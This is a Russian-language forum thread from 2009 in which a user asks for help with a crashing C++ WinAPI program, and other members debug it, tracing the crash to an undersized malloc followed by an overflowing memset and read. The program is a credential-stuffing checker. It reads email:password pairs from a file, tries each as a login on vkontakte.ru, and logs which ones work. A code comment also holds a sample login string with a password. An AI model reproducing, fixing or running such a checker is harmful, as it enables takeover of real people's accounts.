Проблема с WINAPI.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by xa-xa89, 10 Aug 2009.

  1. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    Суть проблемы: пишу прогу когда запускаю выдает ошибку...
    тогда я запускаю ее под отладчиком, но когда я пошагово выполняю ее под отладчиком ошибок нет и все замечательно!!!!
    юзаю visual studio 2005 не подскажете в чем может быть проблема?
     
  2. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    Вот:eso.tv

    Настоятельно рекомендую этого специалиста:
    http://www.eso.tv/index?page=provider-blue&id=1569&

    Щас пока что на античате все специалисты экстрасенсы в отпуске

    :D

    Возможно ответ будет но если вы выложите сорцы где ошибка
     
    5 people like this.
  3. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    Code:
    // checker.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include "checker.h"
    #include "process.h"
    #include "wininet.h"
    #include "iostream"
    #include "string.h"
    #include "stdio.h"
    
    #ifdef _DEBUG
    #define new DEBUG_NEW
    #endif
    #define _MT
    
    
    // The one and only application object
    
    CWinApp theApp;
    
    using namespace std;
    const int th_num=1;
    char *buffer;
    volatile long CurrentLineNumber;
    volatile long TotalLineNumber;
    HANDLE gh,bh;
    DWORD size;
    DWORD WINAPI Thread(void* pParams);
    int main(int argc,char* argv[])
    {
    	int nRetCode = 0;
    
    	// initialize MFC and print and error on failure
    	if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
    	{
    		// TODO: change error code to suit your needs
    		_tprintf(_T("Fatal Error: MFC initialization failed\n"));
    		nRetCode = 1;
    	}
    	else
    	{	CurrentLineNumber=0;
    		TotalLineNumber=0;
    		DWORD bytesread;
    		BOOL bRead=TRUE;
    	//Разборки с файлами!Открыли и прочитали input.txt
    		HANDLE fh=::CreateFile(TEXT("input.txt"),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
    		if (fh==INVALID_HANDLE_VALUE) {
    			cout<<"\ninput.txt dosn`t exist\n";
    			::exit(EXIT_FAILURE);
    		} else {
    			printf("\nReading input.txt...");
    			size=GetFileSize(fh,NULL);
    			buffer=(char *)malloc(size-13);
    			memset(buffer,0,size);
    			bRead=::ReadFile(fh,buffer,size,(LPDWORD)&bytesread,NULL);
    			::CloseHandle(fh);
    			char *bp=buffer;
    			while(*bp!='\0')
    			{
    				if(*bp=='\n')
    					TotalLineNumber++;
    				bp++;
    			}
    			TotalLineNumber++;
    		}
    	//Cоздадим для записи bad.txt и good.txt
    		printf("\nOpening good.txt and bad.txt");
    		gh=::CreateFile(TEXT("good.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
    		if (gh==INVALID_HANDLE_VALUE)
    		{
    			printf("\nError creating file good.txt");
    			::exit(EXIT_FAILURE);
    		} else
    		{
    			::SetFilePointer(gh,NULL,NULL,FILE_END);
    		}
    		bh=::CreateFile(TEXT("bad.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
    		if (bh==INVALID_HANDLE_VALUE)
    		{
    			printf("\nError creating file bad.txt");
    			::exit(EXIT_FAILURE);
    		}
    		else
    		{
    			::SetFilePointer(bh,NULL,NULL,FILE_END);
    			}
    		printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
    			//создаем потоки
    			DWORD idThread;//[th_num];
    			int iThread;
    			printf("%d",th_num);
    			HANDLE hTr[th_num];
    			/*for(iThread=0;iThread<th_num;iThread++)
    			{
    				hTr[iThread]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
    					printf("Thread created");
    			}*/
    			hTr[0]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
    			printf("\naaa\n");
    			[COLOR=DarkOrange][B]//где то вот тут оно выдает ошибку[/B][/COLOR]
    			WaitForMultipleObjects(th_num,hTr,TRUE,INFINITE);
    			//::CloseHandle(hTr[0]);
    			/*for(iThread=0;iThread<=th_num-1;iThread++)
    			{
    				printf("\n***closeT***\n");
    				::WaitForSingleObject(hTr[iThread],INFINITE);
    				::CloseHandle(hTr[iThread]);
    			}*/
    		//::Sleep(7000);
    		//printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
    		//::CloseHandle(gh);
    		//::CloseHandle(bh);
    	}
    	return nRetCode;
    }
    DWORD WINAPI Thread(void* pParams){
    unsigned int s=(unsigned int)size;
    		unsigned int i=0;
    		int N=1;
    		CRITICAL_SECTION cs;
    		::InitializeCriticalSection(&cs);
    		while(CurrentLineNumber<TotalLineNumber){
    		int n=0,n1=0;//номер строки
    		int point;//двоиточия
    		char email[150]="";
    		char pass[150]="";
    		char auth_str[170]="login.php?op=a_login_attempt&email=";
    		char auth2[100]="&pass=";
    		char email_pass[100]="bad\n";;
    		wchar_t str[170];
    		DWORD byteswrite;	
    	//вычислим начальное смщение
    		int b=0;//начальное смщение строки
    		int f;//конец строки 
    		printf("parse");
    			for(i=0;i<s;i++){
    				//оперделили конец строки N
    				if((buffer[i]=='\n') || (i==s)){
    					n=n+1;
    					if(n==N) f=i+1;
    				}
    				//Определим начало строки
    				if(buffer[i]=='\n'){
    					n1=n1+1;
    					if(n==N-1) b=i+1;
    				}
    				//Оперделим позицию двоеточия
    				if(n==N-1)
    					if(buffer[i]==':') point=i;
    			}
    			printf("!!postions!!");
    			::_sprintf_p(email,point-b+1,"%s",buffer+b);
    			::_sprintf_p(pass,f-point,"%s",buffer+point+1);
    			::_sprintf_p(email_pass,f-b,"%s",buffer+b);
    			printf("emai:pass");
    			::strcat_s(pass,"&expire=0");
    			::strcat_s(auth2,pass);
    			::strcat_s(email,auth2);
    			::strcat_s(auth_str,email);
    			for(i=0;i<strlen(auth_str);i++)
    				str[i]=::btowc(auth_str[i]);
    		//Отправка запроса
    			printf("parse_end");
    		char page[100]="vot";
    	HINTERNET ihandler=::InternetOpen(TEXT("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    		if (ihandler!=NULL){
    			HINTERNET iconnect=::InternetConnect(ihandler,TEXT("vkontakte.ru"),INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,NULL);
    		if (iconnect!=NULL){
    				HINTERNET irequest=::HttpOpenRequest(iconnect,L"GET",LPCWSTR(str),NULL,NULL,NULL,INTERNET_FLAG_KEEP_CONNECTION,NULL);//(iconnect,TEXT("GET"),TEXT("login.php"),NULL,NULL,(LPCWSTR *)"text/*",INTERNET_FLAG_KEEP_CONNECTION,NULL);//?op=a_login_attempt&[email protected]&pass=iamxakep14!&expire=0
    				if (irequest!=NULL){
    					if(HttpSendRequest(irequest,L"",0,L"",0))
    					{
    						DWORD BytesRead;
    						if(::InternetReadFile(irequest,page,sizeof(page)-1,&BytesRead))
    						{
    							//проверка результат запроса
    							strcat_s(email_pass,"\n");
    							if(strstr(page,"good")!=NULL){;
    								::EnterCriticalSection(&cs);
    								if(::WriteFile(gh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
    									//::ExitThread(1);
    								::LeaveCriticalSection(&cs);
    							}
    							else 
    							{
    								::EnterCriticalSection(&cs);
    								if(::WriteFile(bh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
    									//::ExitThread(1);
    								::LeaveCriticalSection(&cs);
    							}
    						}
    					}
    				}::InternetCloseHandle(irequest);
    			}::InternetCloseHandle(iconnect);
    		}::InternetCloseHandle(ihandler);
    		::EnterCriticalSection(&cs);
    		CurrentLineNumber=CurrentLineNumber+1;
    		N=CurrentLineNumber;
    		::LeaveCriticalSection(&cs);
    		}
    		::DeleteCriticalSection(&cs);
    		return 0;
    
    Слушаю любую критику и предложения по коду и т.д...
    Только начал разбираться с винапи...
    Запускаю ошибка!в отладчике все окей!

    пишет память не может бить written!
     
    #3 xa-xa89, 10 Aug 2009
    Last edited: 10 Aug 2009
  4. SmanxX1

    SmanxX1 Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    27
    Likes Received:
    6
    Reputations:
    2
    Лень смотреть что там и что это вообще такое, но заметил, что юзаются потоки.
    Вместо CreateThread, в C/C++ лучше использовать _beginthreadex и _endthreadex для завершения.
     
  5. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Скорей всего какая то проблема синхронизации между потоками.
     
  6. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    В приведеном коде я создаю всего один поток! какая может быть проблема синхронизации между ними?
    к тому же я уже написал что под отладчиком все работает идеально!
    а если просто запустить то пишет ошибку...
    ест еще какие то соображения?
     
  7. SmanxX1

    SmanxX1 Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    27
    Likes Received:
    6
    Reputations:
    2
    А зачем тогда используешь WaitForMultipleObjects? Используй WaitForSingleObject.
    И что хоть за ошибку показыват? GetLastError() что выдает?
     
  8. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    Сделал вот так
    Code:
    			printf("\n***%d***",GetLastError());
    			::WaitForSingleObject(hTr,INFINITE);
    			printf("\n***%d***",GetLastError());
    
    то что до WaitForSingleObject выдает 0, значит все ок
    а вот то что после вообще не попадает на экран!
    память не может быть written и все....

    Значит проблема в WaitForSingleObject тут?

    вот оглашение переменых и создание потока
    Code:
    			
    DWORD idThread; 			
    HANDLE hTr;
    hTr=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
    
    я так понимаю что какая то проблема с завершением потока....
     
    #8 xa-xa89, 10 Aug 2009
    Last edited: 10 Aug 2009
  9. SmanxX1

    SmanxX1 Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    27
    Likes Received:
    6
    Reputations:
    2
    Ну да, у тебя в твоей функции Thread нету "завершения" потока, поэтому WaitForSingleObject(hTr,INFINITE); может ждать вечно его завершения.
    Допиши ExitTHread(0) в свою функцию. Хотя непонятно, return 0, тоже должно нормально завершить поток.
     
  10. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    не помогает! все одно и тоже....
    и все меня настораживает то что под отладчиком ошибок нет!
     
  11. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    сразу бросился в глаза кусок непонятного кода
    Code:
    size=GetFileSize(fh,NULL); к примеру файл ровно 1000 байт.
    buffer=(char *)malloc(size-13); выделишь буфер размером 987 байт.
    memset(buffer,0,size); затем очистиш 1000 байт. т.е. 13 левых байт затреш а там может быть что угодно.
    bRead=::ReadFile(fh,buffer,size,(LPDWORD)&bytesread,NULL); и вот ты весь файл читаеш в этот буфер затирая эти 13 байт.
    

    Также советую включить проверку стека чтобы видеть что случилось. А если поставиш try except то быстро можно найти место ошибки
     
    #11 slesh, 10 Aug 2009
    Last edited: 10 Aug 2009
    2 people like this.
  12. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    Да вот она проблема!!!чертова не внимательность!!!
    Большое спасибо!=)
     
  13. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    зы... нахрен чистить этот участок памяти? если ты в него же патом файлик запишешь? глупо.

    а по коду MFC ваще бред (лично для меня)
     
    _________________________